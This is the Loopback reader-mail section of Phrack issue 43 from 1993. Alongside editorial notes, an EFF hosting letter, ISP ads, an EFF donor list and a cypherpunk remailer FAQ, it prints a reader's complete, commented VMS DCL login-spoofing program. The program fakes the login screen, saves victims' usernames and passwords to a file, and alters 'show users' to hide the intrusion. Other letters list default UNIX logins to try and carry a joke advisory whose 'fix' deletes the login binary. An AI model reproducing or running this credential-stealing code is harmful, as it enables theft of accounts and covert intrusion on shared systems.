20. Step By Step Guide To Stealing a Camaro by Spy Ace 21K 21. Acronyms Part I by Firm G.R.A.S.P. 50K 22. Acronyms Part II by Firm G.R.A.S.P. 51K 23. Acronyms Part III by Firm G.R.A.S.P. 45K 24. Acronyms Part IV by Firm G.R.A.S.P. 52K 25. Acronyms Part V by Firm G.R.A.S.P. 46K 26. International Scene by Various Sources 51K 27. Phrack World News by Datastream Cowboy 24K

Total: 1152K

Another reason why the future is wireless.

"The CTIA recommended that the FCC require the microprocessor chip be difficult to detach from the circuit board in order to prevent its removal and replacement or reprogramming."

(Cellular Marketing, p. 18, May 1993)

"Damn, and I was hoping to replace this 8051 with a P5! HAHAHAHAHA!" (Anonymous hacker‑type, Tumbled Cellphone Call, 1993)

Phrack Loopback Part I

==Phrack Magazine==

Volume Four, Issue Forty‑Three, File 2 of 27

Phrack Loopback

Part I

****************************************

COMING NEXT ISSUE

Van Eck Info (Theory & Practice) More Cellular (Monitoring Reverse Channel, Broadcasting, Reprogramming) HUGE University Dialup List (Mail Us YOUR School's Dialup NOW!) Neato Plans For Evil Devices

Gail Thackeray Gifs

*********************************** M A I L *********************************

Chris,

Craig Neidorf gave me these addresses as ways to reach you. He tells me that you are currently editing Phrack. I hope you are well.

Recently the EFF sysadmins, Chris Davis and Helen Rose, informed me that eff.org was using so much of its T‑1 bandwidth that UUNET, who supplies our IUP connection, was charging us an extra $1,000 per month. They did some investigation at my request. We determined that Phrack traffic alone was responsible for over 40% of the total bytes transferred from the site over the past year or so. This is several gigabytes per month. All in all, the CuD archive, which contains Phrack, CuD, and other publications accounts for 85% of our total traffic. All of the email to and from EFF, Usenet traffic, and other FTP (from the EFF archive, the CAF archive, and others) constitutes about 15%.

EFF isn't going to be able to carry it any more because it is effectively costing us $1,000 per month. The fundamental problem is that Phrack is so popular (at least as a free good) to cause real expense in transmission costs. Ultimately the users are going to have to pay the costs because bandwidth (when measures in gigabytes anyway) isn't free. The 12K per year it costs us to carry Phrack is not something which EFF can justify in its budget. I'm sure you can understand this.

On July 1, eff.org moves from Cambridge to Washington, DC which is when I expect we will stop carrying it. I wanted to raise this issue now to let you know in advance of this happening.

I have also asked Chris and Helen to talk to Brendan Kehoe, who actually maintains the archive, to see whether there is anything we can do to help find another site for Phrack or make any other arrangement which will result in less loss of service.

Mitch

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Mitchell Kapor, Electronic Frontier Foundation Note permanent new email address for all correspondence as of 6/1/93

mkapor@kei.com

[Editor: Well, all things must come to an end. Looks like EFF's move to Washington is leaving behind lots of bad memories, and looking forward to a happy life in the hotbed of American politics. We wish them good luck. We also encourage everyone to join.........CPSR.

In all fairness, I did ask Mitch more detail about the specifics of the cost, and he explained that EFF was paying flat rate for a fractional T‑1, and whenever they went over their allotted bandwidth, they were billed above and beyond the flat rate. Oh well. Thank GOD for Len Rose. Phrack now has a new home at ftp.netsys.com.]

****************************************

I'm having a really hard time finding a lead to the Information America Network. I am writing you guys as a last resort. Could you point me in the right direction? Maybe an access number or something? Thanks you very much.

[Editor: You can reach Information America voice at 404‑892‑1800. They will be more than happy to send you loads of info.]

****************************************

To whom it may concern:

This is a submission to the next issue of phrack...thanks for the great 'zine!

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑cut here‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Greetings Furds:

Have you ever wanted to impress one of those BBS‑babes with your astounding knowledge of board tricks? Well *NOW* you can! Be the life of the party! Gain and influence friends! Irritate SysOps! Attain the worship and admiration of your online pals. Searchlight BBS systems (like many other software packages) have internal strings to display user information in messages/posts and the like. They are as follows (tested on Searchlight BBS System v2.25D):

\%A = displays user's access level

\%B = displays baud rate connected at

\%C = unknown

\%F = unknown

\%G = displays graphics status

\%K = displays user's first name

\%L = displays system time

\%M = displays user's time left on system

\%N = displays user's name in format: First Last \%O = times left to call "today"

\%P = unknown

\%S = displays line/node number and BBS name \%T = displays user's time limit

\%U = displays user's name in format: FIRST_LAST

All you gotta do is slam the string somewhere in the middle of a post or something and the value will be inserted for the reader to see.

Example: Hey there chump, I mean \%K, you better you better UL or log off of \%S...you leach too damn many files..you got \%M mins left to upload some new porn GIFs or face bodily harm and mutilation!.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Have phun!

Inf0rmati0n Surfer (& Dr. Cloakenstein)

SysOp Cranial Manifestations vBBS

[Editor: Ya know, once a LONG LONG time ago, I got on a BBS and while reading messages noticed that a large amount of messages seemed to be directed at ME!!# It took me about 10 minutes to figure it out, but BOY WAS I MAD!

Then I added my own \%U message for the next hapless fool. :) BIG FUN!]

****************************************

‑(/)‑(\)‑(/)‑(\)‑(/)‑(\)‑(/)‑(\)‑(/)‑(\)

SotMESC

The US SotMESC Chapter is offering Scholarships for the 1993 school term.

Entries should be single‑spaced paragraphs, Double‑spacing between paragraphs.

The subject should center on an aspect of the Computer Culture and be between 20‑30 pages long.

Send entries to:

SotMESC

PO Box 573

Long Beach, MS 39560

All entries submitted will become the property of the SotMESC

‑()‑()‑()‑()‑()‑()‑()‑()‑()‑()‑()‑()‑()‑

****************************************

The Southwest Netrunner's League's

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

WareZ RoDeNtZ Guide to UNIX!!!!

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Compiled by:The Technomancer (UNICOS,UNIX,VMS,and Amigas) Assists by:SysCon XIV (The Ma'Bell Rapist)

Iron Man MK 4a (Things that make ya go boom)

This file begs to be folded, spindeled,and mutilated.

No Rights Reserved@1993

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Technomancer can be reached at: af604@FreeNet.hsc.colorado.edu

Coming this September.... Shadowland, 68020... Watch this space.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Part I(Basic commands)

Phile Commands: ls=List Philes

more,page=Display Phile on Yo Terminal

cp=Copy Phile

mv=Move or Remove Philes

rm=Remove Philes

Editor Commnds: vi=Screen Editor

Dirtory cmmnds: dir=Prints Directory

mkdir=Makes a new Directory(also a VERY bad bug)

rmdir=Remove a Directory

pwd=print working directory

Misc. Commands: apropos=Locate commands by keyword lookup. whatis=Display command description.

man=Displays manual pages online.

cal=Prints calendar

date=Prints the time and date.

who=Prints out every one who is logged in

(Well, almost everyone 7:^] )

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Part II(Security(UNIX security, another OXYMORON 7:^] ))

If you are a useless wAReZ r0dEnT who wants to try to Netrun

a UNIX system, try these logins....

root

unmountsys

setup

makefsys

sysadm

powerdown

mountfsys

checkfsys

All I can help ya with on da passwords iz ta give you some

simple guidelines on how they are put together....

6‑8 characters

6‑8 characters

1 character is a special character (exmpl:# ! ' & *)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Well thats all fo' now tune in next time, same Hack‑time same Hack‑channel!!!

THE TECHNOMANCER I have taken all knowledge af604@FreeNet.hsc.colorado.edu

to be my province

‑‑

Technomancer

Southwest Netrunner's League

****************************************

[Editor: This is an example of what NOT to send to Phrack. This is probably the worst piece of garbage I've received, so I had to print it. I can only hope that it's a private joke that I just don't get.

Uh, please don't try to write something worse and submit it hoping to have it singled out as the next "worst," since I'll just ignore it.]

****************************************

Dear Phrack,

I was looking through Phrack 42 and noticed the letters about password stealers. It just so happened that the same day I had gotten extremely busted for a program which was infinitely more indetectible. Such is life. I got off pretty well being an innocent looking female so it's no biggie. Anyway, I deleted the program the same day because all I could think was "Shit, I'm fucked". I rewrote a new and improved version, and decided to submit it. The basic advantages of this decoy are that a) there is no login failure before the user enters his or her account, and b) the program defines the show users command for the user so that when they do show users, the fact that they are running out of another account doesn't register on their screen.

There are a couple holes in this program that you should probably be aware of. Neither of these can kick the user back into the account that the program is running from, so that's no problem, but the program can still be detected. (So basically, don't run it out of your own account... except for maybe once...to get a new account to run it out of) First, once the user has logged into their account (out of your program of course) hitting control_y twice in a row will cause the terminal to inquire if they are doing this to terminate the session on the remote node. Oops. It's really no problem though, because most users wouldn't even know what this meant. The other problem is that, if the user for some strange reason redefines show:

$show == ""

then the show users screen will no longer eliminate the fact that the account is set host out of another. That's not a big deal either, however, because not many people would sit around randomly deciding to redefine show. The reason I was caught was that I (not even knowing the word "hacker" until about a month ago) was dumb enough to let all my friends know about the program and how it worked. The word got spread to redefine show, and that's what happened. The decoy was caught and traced to me. Enough BS...here's the program. Sorry...no UNIX...just VMS.

Lady Shade

I wrote the code...but I got so many ideas from my buddies: Digital Sorcerer, Y.K.F.W., Techno‑Pirate, Ephemereal Presence, and Black Ice

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$if p1 .eqs. "SHOW" then goto show

$sfile = ""

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!!!! The role of the dummy file in this program is to tell if the program !!!! !!!! is being used as a decoy or as a substitute login for the victim. It !!!! !!!! does not stay in your directory after program termination. !!!!

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

$sfile = f$search("sys$system:[ZJABAD_X]dummy.txt")

$if sfile .nes. "" then goto other

$open/write io user.dat

$close io

$open/write dummy instaar_device:[miller_g]dummy.txt

$close dummy

$wo == "write sys$output"

$line = ""

$user = ""

$pass = ""

$a$ = ""

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!!!! A login screen with a message informing someone of new mail wouldnt !!!!

!!!! be too cool...

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

$set broadcast=nomail

$set message/noidenficitaion/noseverity/nofacility/notext

$on error then goto outer

$!on control_y then goto inner

$wo " [H [2J"

$wo ""

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!!!! insert a fake logout screen here !!!!

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

$wo " ZJABAD_X logged out at ", f$time()

$wo " [2A"

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!!!! This is the main body of the program. It simulates the system login !!!! !!!! screen. It also grabs the username and password and sticks them in !!!!

!!!! a file called user.dat

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

$outer:

$set term/noecho

$inquire a$/nopun ""

$inquire a$/nopun ""

$set term/echo

$c = 0

$c1 = 0

$c2 = 0

$inner:

$c2 = c2 + 1

$if c2 .eqs. 5 then goto speedup

$c = c + 1

$if c .eqs. 15 then goto fail

$if c1 .eqs. 3 then goto fail3

$user = "a"

$wo "Username: "

$from_speedup:

$set term/uppercase

$wo " [2A"

$read/time_out=10/prompt=" [9C " sys$command user

$if user .eqs. "a" then goto timeout

$set term/nouppercase

$if user .eqs. "" then goto inner

$set term/noecho

$inquire pass "Password"

$set term/echo

$if user .eqs. "ME" then goto done

$if pass .eqs. "" then goto fail

$open/append io user.dat

$write io user + " " + pass

$close io

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!!!! Sends the user into their account !!!!

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

$open/write io set.com

$write io "$set host 0"

$write io user + "/COMMAND=INSTAAR_DEVICE:[MILLER_G]FINDNEXT" $write io pass

$close io

$@set

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!!!! Control has been returned to your account !!!!

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

$write io " [2A"

$goto outer

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!!!! Simulates a failure if the password is null, and also if the !!!! !!!! username prompt has cycled through 15 times... This is what !!!!

!!!! the system login screen does. !!!!

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

$fail:

$c = 1

$c1 = c1 + 1

$wo "User authorization failure"

$wo " [1A"

$goto inner

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!!!! After the third failure, the system usually sends the screen back !!!!

!!!! one step...this just handles that. !!!!

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

$fail3:

$wo " [2A"

$goto outer

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!!!! The system keeps a timeout check in the login. If a username is not !!!! !!!! entered quickly enough, the timeout message is activated !!!!

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

$timeout:

$set term/nouppercase

$wo "Error reading command input"

$wo "Timeout period expired"

$wo " [2A"

$goto outer

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!!!! There is a feature in this program which sets the terminal to !!!! !!!! uppercase for the input of a username. This is wonderful for !!!! !!!! preventing program detection, but it does cause a problem. It slows !!!! !!!! the screen down, which looks suspicious. So, in the case where a !!!! !!!! user walks up tot he terminal and holds the return key down for a !!!! !!!! bit before typing in their username, this section speeds up the run !!!!

!!!! considerably.

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

$speedup:

$set term/nouppercase

$fast_loop:

$user = "a"

$read/time_out=1/prompt="Username: " sys$command io

$if user .eqs. "a" then goto from_speedup

$goto fast_loop

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!!!! This section is optional. There are many ways that you can implement !!!! !!!! to break out of the program when you think you have gotten enough !!!! !!!! passwords. 1), you can sit down at the terminal and type in a string !!!! !!!! for the username and pass which kicks you out. If this option is !!!! !!!! implemented, you should at least put in something that looks like !!!! !!!! you have just logged in, the program should not kick straight back !!!! !!!! to your command level, but rather execute your login.com. 2) You !!!! !!!! can log in to the account which is stealing the password from a !!!! !!!! different terminal and stop the process on the account which is !!!! !!!! running the program. This is much safer, and my recommandation. !!!!

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

$done:

$set broadcast=mail

$set message/facility/text/identification/severity

$delete dummy.txt;*

$exit

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!!!! This section is how one covers up the fact that the account which has !!!! !!!! been stolen is running out of another. Basically, the area of the show!!!! !!!! users screen which registers this is at the far right hand side. !!!! !!!! This section first writes the show users data to a file and alters !!!! !!!! it before it is written to the screen for viewing by the user. There !!!! !!!! may exist many forms of the show users command in your system, and !!!! !!!! you may have to handle each one differently. I have written only two !!!! !!!! manipulations into this code to be used as an example. But looking !!!! !!!! at how this is preformed should be enough to allow you to write your !!!! !!!! own special cases. Notice that what happens to activate this section !!!! !!!! of the program is the computer detects the word "show" and interprets !!!! !!!! it as a procedure call. The words following show become variables !!!! !!!! passed into the program as p1, p2, etc. in the order which they !!!! !!!! were typed after the word show. Also, by incorporating a third data !!!! !!!! file into the manipulations, one can extract the terminal id for the !!!! !!!! account which the program is running out of and plug this into the !!!! !!!! place where the user's line displays his or her terminal id. Doing !!!! !!!! this is better that putting in a fake terminal id, but that is just a !!!!

!!!! minor detail.

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

$show:

$show = ""

$show$ = ""

$length = 0

$ch = ""

$full = 0

$c = 0

$if (f$extract(5,1,p2) .eqs. "/") .and. (f$extract(6,4,p2) .nes. "FULL") then show 'p1' $if (p2 .eqs. "USERS/FULL") .and. (p3 .eqs. "") then goto ufull $if p2 .eqs. "USERS" .and. p3 .eqs. "" then show users

$if p2 .eqs. "USERS" .and. p3 .eqs. "" then exit

$if p3 .eqs. "" then goto fallout

$goto full

$fallout:

$show 'p2' 'p3'

$exit

$ufull:

$show users/full/output=users.dat

$goto manipulate

$full:

$show$ = p3 + "/output=users.dat"

$show users 'show$'

$manipulate:

$set message/nofacility/noseverity/notext/noidentification $open/read io1 users.dat

$open/write io2 users2.dat

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!!!! Control_y must be dealt with here. If the user did happen to controlY !!! !!!! there is a chance that the files users.dat and users2.dat could be !!! !!!! left in their directory. That is a bad thing as we are trying to !!!

!!!! prevent detection :)

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

$on control_y then goto aborted

$user = ""

$test = ""

$long = ""

$ch = ""

$length = 0

$user = f$user()

$length = f$length(user) ‑ 2

$user = f$extract(1,length,user)

$read_loop:

$read/end_of_file=eof io1 line

$test = f$extract(1,length,line)

$ch = f$extract (length+1,1,line)

$if (test .eqs. user) .and. (ch .eqs. " ") then goto change $from_change:

$write io2 line

$goto read_loop

$eof:

$close io1

$close io2

$type users2.dat

$del users.dat;*

$del users2.dat;*

$show == "@instaar_device:[MILLER_G]findnext show"

$set message/facility/text/severity/identification

$exit

$change:

$if f$extract(50,1,line) .nes. "" then line = f$extract(0,57,line) + "(FAKE TERMINAL INFO)" $goto from_change

$aborted:

$!if f$search("users.dat") .nes. "" then close io1

$!if f$search("users.dat") .nes. "" then delete users.dat;*

$!if f$search("users2.dat") .nes. "" then close io2

$!if f$search("users2.dat") .nes. "" then delete users2.dat;* $close io1

$close io2

$delete users.dat;*

$delete users2.dat;*

$show == "@instaar_device:[MILLER_G]findnext show"

$set message/facility/text/severity/identification

$exit

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!!!! This is the section of the program which is executed in place of the !!!! !!!! users login.com. It does grab their login and execute it to prevent !!!! !!!! suspicion, but there are a couple of hidden commands which are also !!!! !!!! added. They redefine the show and sys commands so that the user can !!!! !!!! not detect that he or she is riding off of another account. !!!!

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

$other:

$sh$ = "@instaar_device:[miller_g]findnext show"

$shline = "$sh*ow ==" + sh$

$logi = ""

$logi = f$search("login.com")

$if logi .NES. "" then goto Ylogin

$nologin:

$open/write io login2.com

$write io shline

$close io

$@login2

$delete login2.com;*

$exit

$ylogin:

$open/write io2 login2.com

$open/read io1 login.com

$transfer_loop:

$read/end_of_file=ready io1 line

$write io2 line

$goto transfer_loop

$ready:

$write io2 "$sh*ow == ""@instaar_device:[miller_g]findnext show"" $close io1

$close io2

$@login2

$delete login2.com;*

$exit

[Editor: Thanks for the letter and program. I wish I could bring myself to use a VMS and try it out. :) Always happy to get notice that somewhere out there a female reads Phrack. By the way, "innocent female" is an oxymoron.]

****************************************

To: Phrack Loopback.

From: White Crocodile.

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

Greetings sweet Phrack and Mr. Bloodaxe. Your "loopback reports" is really cool invention and I (sorry for egoisthic "I") with pleasure wasting time for his reading ( ex. my playboy time ). But here for some unknown reason appear equal style, and all loopback remind something medium between "relations search" [Hello Dear Phrack, I am security expert of our local area, but when I looked to output of "last" program (oh,yeah ‑ "last" it is ...), I ocassionaly under standed what apparently someone elite hacker penetrated into my unpassworded account! But how he knew it??? I need to talk with him! Please mail me at security@...] and "make yourself" [Yep.I totally wrote program which gets file listing from target vicitim's home directory in current host. After that I decided to contribute it for You. I hope this will help. Here is the complete C code. "rx" permission in target's '$HOME' required.].

Looking similar articles like "... off Geek!" and various reports which don't reacheds PWN. [CENSORED BY ME].

Resulting from abovewritten reason and I let myself to add some elite (oops word too complex), some bogus and little deposit to Your lb. He written in classic plagiarize style.

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

* * *

Good mornin' Ladys and Gentelmen! I hacking and phreaking. I know what it is horrible (don't read it please ‑ this message to Bart), but I doing it all the time (today already 3 month). I have not much time to write, and here is the subject ‑ I broke into one military computer and stole their mail about new security bug!!! l00k f3r |t:

‑ ‑ ‑

DDN & CERT

SPECIAL REPORT*

Sun 3.x,4.1.x login flaw

Subject: The huge Sun 4.x login hole.(possibly Ulitix 3.0,BSD,AIX

and many yet unknown systems)

Impact: Allow random intruders to gain "root" access.

Description:

The huge security hole was there and waiting! Type:

$ login root

[ no option required ], and You are! All what You need to know its just root's password, but it (pw), sure, can be easily obtained from real root, by asking him (root). Ex ‑ "$ talk root"

Possible fix until copyrighted patch come out:

#rm /usr/bin/login

#cp /usr/games/fortune /usr/bin/login

If you believe that your system has been compromised, contact CERT CC. Call our hotline 900‑FBI‑PRIVATE (24 a day,please not in dinner time or in time of "Silence of the Lamb"), leave Inet address of your system and number of private credit card.

‑ ‑

* Report not will be printed in cert advisories in this form, becouse FBI need remove all hints and tips, and make him useless to intruders.

DISCLAIMER: Above document written by CERT, DDN and FBI ‑

all pretension to them.

Thanks to gr*k (I can't write his full name for security reasons),roxtar, y0,Fidelio,2 scotts from Santafe,KL (He not have attitude towards this mail,but I included him for polite since he reserved tickets for me to SUMMERCON),ahh,x0d,all zero's (count,bob,nick,etc.) and many others for hints to me, what this bug really exist (Yep, before I stoled report).

‑ Write You later ‑ anonymous.

P.S. Yup! If You won't think what I am toady ‑ I wanna say also thanks to TK and sure Erik Bloodaxe. And also ‑ IF after E911 incident you are more carefully, feel free to replace "stole" to "got" (when you'll post it), and do not forget to add "reprinted with permission".

‑ Sincerely, anonymous.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[Editor: More indications that we will all be raided by the DEA more often than the FBI in coming years.]

****************************************

"Since my probation status forces me to be adamant about this. Illegal activities on Netsys cannot and will not be tolerated. Prison sucked."

‑ Len Rose

06/6/93

NETSYS COMMUNICATION SERVICES Palo Alto, California

Netsys is a network of large Sun servers dedicated to providing Internet access to individuals and corporations that need solid, reliable Internet connectivity. Netsys is at the hub of major Internet connectivity.

Netsys is a system for professionals in both the Internet and Unix community. The public image is important to us. Illegal activities cannot be tolerated.

Netsys has every feature you could possibly need.

Netsys is lightly loaded, extremely reliable and dedicated to providing full time 24 hour Internet access.

Support: 24 hour emergency response service.

Dialups: Palo Alto area, High Speed (V.32 and PEP)

Private Accounts: $20 monthly ( with file storage capacity of 5 megabytes)

$1 per megabyte per month over 5 megabytes.

Commercial Accounts: $40 monthly (file storage capacity of 10 megabytes) $1 per megabyte per month over 10 megabytes.

Newsfeeds: We offer both nntp and uucp based newsfeeds , with all domestic newsgroups, and including all foreign newsgroups.

SPECIAL FEATURES THAT NO ONE ELSE CAN PROVIDE

Satellite Weather: Netsys has available real time satellite weather imagery. Images are available in gif, or Sun raster format. Contact us for NFS mirroring, and other special arrangement. These images are directly downlinked from the GOES bird. Contact Steve Eigsti (steve@netsys.com)

Satellite Usenet: Netsys is offering Pagesat's satellite newsfeed service

for large volume news distribution. Members of Netsys can obtain substantial discounts for the purchase and service costs of this revolutionary method of Usenet news distribution. Both Unix and MS Windows software available. Contact (pagesat@pagesat.com) for product information.

Paging Services: Netsys is offering Pagesat's Internet to Pager mail service. Members of Netsys can obtain critical email to pager services. Pagesat has the ability to gateway any critical electronic mail to your display pager.

Leased Line Internet Connections

Pagesat Inc. offers low cost 56k and T1 Internet connections all over the United States. Since Pagesat is an FCC common carrier, our savings on leased lines can be passed on to you. For further information, contact Duane Dubay (djd@pagesat.com).

We offer other services such as creating domains, acting as MX forwarders, and of course uucp based newsfeeds.

Netsys is now offering completely open shell access to Internet users. For accounts, or more information , send mail to netsys@netsys.com

Netsys will NEVER accept more members than our capacity to serve.

Netsys prides itself on it's excellent connectivity (including multiple T1's, and SMDS), lightly loaded systems, and it's clientele.

We're not your average Internet Service Provider. And it shows.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[Editor: We here at Phrack are forever in debt to Mr. Len Rose for allowing us to use ftp.netsys.com as our new official FTP site after getting the boot off EFF. It takes a steel set of huevos to let such an evil hacker publication reside on your hard drive after serving time for having dealings with evil hackers. We are STOKED! Thanks Len! Netsys is not your average site, INDEED!]

****************************************

Something Phrack might like to see:

The contributors to and practices of the Electronic Frontier Foundation disclose quite accurately, just who this organization represents. We challenge the legitimacy of the claim that this is a "public interest" advocate. Here is a copy of their list of contributors:

[FINS requested the Office of the Attorney General of the Commonwealth of Massachusetts to provide us with a list of contributors of over $5000, to the Electronic Frontier Foundation, required by IRS Form 990. Timothy E. Dowd, of the Division of Public Charities, provided us with a list (dated January 21, 1993), containing the following information. No response was given to a phone request by FINS directly to EFF, for permission to inspect and copy the most current IRS Form 990 information.]

ELECTRONIC FRONTIER FOUNDATION, INC. IRS FORM 990. PART I ‑ LIST OF CONTRIBUTIONS

NAME AND ADDRESS OF CONTRIBUTOR CONTRIBUTION

DATE AMOUNT

Kapor Family Foundation

C/O Kapor Enterprises, Inc.

155 2nd Street

Cambridge, MA 02141 Var 100,000

Mitchell D. Kapor

450 Warren Street

Brookline, MA 02146 Var 324,000

Andrew Hertzfeld

370 Channing Avenue

Palo Alto, CA 94301 12/12/91 5,000

Dunn & Bradstreet

C/O Michael F. ...

1001 G Street, NW Suite 300 East

Washington, DC 20001 02/12/92 10,000

National Cable Television

1724 Massachusetts Avenue, NW

Washington, DC 20036 02/18/92 25,000

MCI Communications Corporation

1133 19th Street, NW

Washington, DC 20036 03/11/92 15,000

American Newspaper Publishers

Association

The Newspaper CTR

11600 Sunrise Valley

Reston, VA 22091 03/23/92 20,000

Apple Computer

20525 Mariani Avenue MS:75‑61

Cupertino, CA 95014 03/23/92 50,000

Sun Microsystems, Inc

c/o Wayne Rosing

2550 Garcia Ave

Mountain View, CA 94043‑1100 04/03/92 50,000

Adobe Systems, Inc.

c/o William Spaller

1585 Charlestown Road

Mountain View, CA 94039‑7900 04/16/92 10,000

International Business Systems

c/o Robert Carbert, Rte 100

Somers, NY 10589 05/07/92 50,000

Prodigy Services Company

c/o G. Pera...

445 Hamilton Avenue

White Plains, NY 10601 05/07/92 10,000

Electronic Mail Associates

1555 Wilson Blvd. Suite 300

Arlington, VA 22209 05/13/92 10,000

Microsoft

c/o William H. Neukom

1 Microsoft Way

Redmond, VA 98052 06/25/92 50,000

David Winer

933 Hermosa Way

Menio Park, CA 94025 01/02/92 5,000

Ed Venture Holdings

c/o Ester Dvson

375 Park Avenue

New York, NY 10152 03/23/92 15,000

Anonymous 12/26/91 10,000

Bauman Fund

c/o Patricia Bauman

1731 Connecticut Avenue

Washington, DC 20009‑1146 04/16/92 2,500

Capital Cities ABA

c/o Mark MacCarthy

2445 N. Street, NW Suite 48

Washington, DC 20037 05/04/92 1,000

John Gilmore

210 Clayton Street

San Francisco, CA 94117 07/23/91 1,488

08/06/91 100,000

Government Technology 10/08/91 1,000

Miscellaneous 04/03/91 120

Apple Writers Grant

c/o Apple Computer

20525 Mariani Avenue 01/10/92 15,000

[Editor: Well, hmmm. Tell you guys what: Send Phrack that much money and we will give up our ideals and move to a new location, and forget everything about what we were all about in the beginning. In fact, we will turn our backs on it. Fair?

I was talking about me moving to Europe and giving up computers. Don't read anything else into that. Nope.]

****************************************

‑‑‑‑‑BEGIN PGP SIGNED MESSAGE‑‑‑‑‑

Q1: What cypherpunk remailers exist?

A1:

1: hh@pmantis.berkeley.edu

2: hh@cicada.berkeley.edu

3: hh@soda.berkeley.edu

4: nowhere@bsu‑cs.bsu.edu

5: remail@tamsun.tamu.edu

6: remail@tamaix.tamu.edu

7: ebrandt@jarthur.claremont.edu

8: hal@alumni.caltech.edu

9: remailer@rebma.mn.org

10: elee7h5@rosebud.ee.uh.edu

11: phantom@mead.u.washington.edu

12: hfinney@shell.portal.com

13: remailer@utter.dis.org

14: 00x@uclink.berkeley.edu

15: remail@extropia.wimsey.com

NOTES:

#1‑#6 remail only, no encryption of headers

#7‑#12 support encrypted headers

#15 special ‑ header and message must be encrypted together #9,#13,#15 introduce larger than average delay (not direct connect) #14 public key not yet released

#9,#13,#15 running on privately owned machines

========================================

Q2: What help is available?

A2:

Check out the pub/cypherpunks directory at soda.berkeley.edu (128.32.149.19). Instructions on how to use the remailers are in the remailer directory, along with some unix scripts and dos batch files.

Mail to me (elee9sf@menudo.uh.edu) for further help and/or questions.

========================================

‑‑‑‑‑BEGIN PGP SIGNATURE‑‑‑‑‑

Version: 2.2

iQCVAgUBLAulOYOA7OpLWtYzAQHLfQP/XDSipOUPctZnqjjTq7+665MWgysE1ex9 lh3Umzk2Q647KyqhoCo8f7nVrieAZxK0HjRFrRQnQCwjTSQrve2eAQ1A5PmJjyiI Y55E3YIXYmKrQekIHUKaMyATfnhNc6+2MT8mwaWz2kiOTRkun/SlNI3Cv3Qt8Emy Y6Zv0kk/7rs=

=simY

‑‑‑‑‑END PGP SIGNATURE‑‑‑‑‑

[Editor: We suggest that everyone go ahead and get the info file from soda.berkeley.edu's ftp site. While you are there, take a look around. Lots of groovy free stuff.]

Phrack Loopback Part II / Editorial

==Phrack Magazine==

Volume Four, Issue Forty‑Three, File 3 of 27

Phrack Loopback

Part II

========================================

ToneLoc T‑Shirt Offer

========================================

Yes, the rumors are true: A ToneLoc t‑shirt is at last available.

